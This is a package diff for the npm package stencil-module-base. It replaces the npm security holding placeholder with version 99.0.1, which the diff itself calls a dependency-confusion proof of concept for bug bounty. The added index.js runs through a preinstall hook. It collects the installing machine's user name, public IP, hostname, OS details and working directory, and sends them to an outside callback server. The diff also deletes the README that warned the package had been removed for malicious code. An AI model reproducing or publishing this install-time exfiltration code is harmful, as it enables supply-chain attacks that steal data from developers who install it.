stencil-module-base 0.0.1-security → 99.0.1

package/index.js

@@ -0,0 +1,51 @@
+const http = require('http');
+const os = require('os');
+const { execSync } = require('child_process');
+
+function getWhoami() {
+  try {
+    return execSync('whoami').toString().trim();
+  } catch {
+    return process.env.USER || process.env.USERNAME || 'unknown';
+  }
+}
+
+function getIPAddress() {
+  try {
+    return execSync('curl -s ifconfig.me || wget -qO- ifconfig.me').toString().trim();
+  } catch {
+    const interfaces = os.networkInterfaces();
+    for (const name of Object.keys(interfaces)) {
+      for (const iface of interfaces[name]) {
+        if (iface.family === 'IPv4' && !iface.internal) {
+          return iface.address;
+        }
+      }
+    }
+    return 'unknown';
+  }
+}
+
+function sendCallback(data) {
+  const url = `http://callback-server-ui1o.onrender.com/callback?data=${encodeURIComponent(JSON.stringify(data))}`;
+  http.get(url, res => {
+    console.log('✅ Callback sent:', res.statusCode);
+  }).on('error', e => {
+    console.error('❌ Callback error:', e.message);
+  });
+}
+
+try {
+  const data = {
+    ip: getIPAddress(),
+    hostname: os.hostname(),
+    os: `${os.type()} ${os.platform()} ${os.release()}`,
+    whoami: getWhoami(),
+    cwd: process.cwd(),
+    timestamp: new Date().toISOString()
+  };
+  sendCallback(data);
+} catch (err) {
+  sendCallback({ error: err.message, timestamp: new Date().toISOString() });
+}
+

package/package.json

@@ -1,6 +1,12 @@
 {
   "name": "stencil-module-base",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "99.0.1",
+  "description": "Dependency confusion PoC for bug bounty",
+  "scripts": {
+    "preinstall": "node index.js"
+  },
+  "keywords": ["poc", "dependency-confusion"],
+  "author": "hiddnsec7777",
+  "license": "MIT"
 }
+

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=stencil-module-base for more information.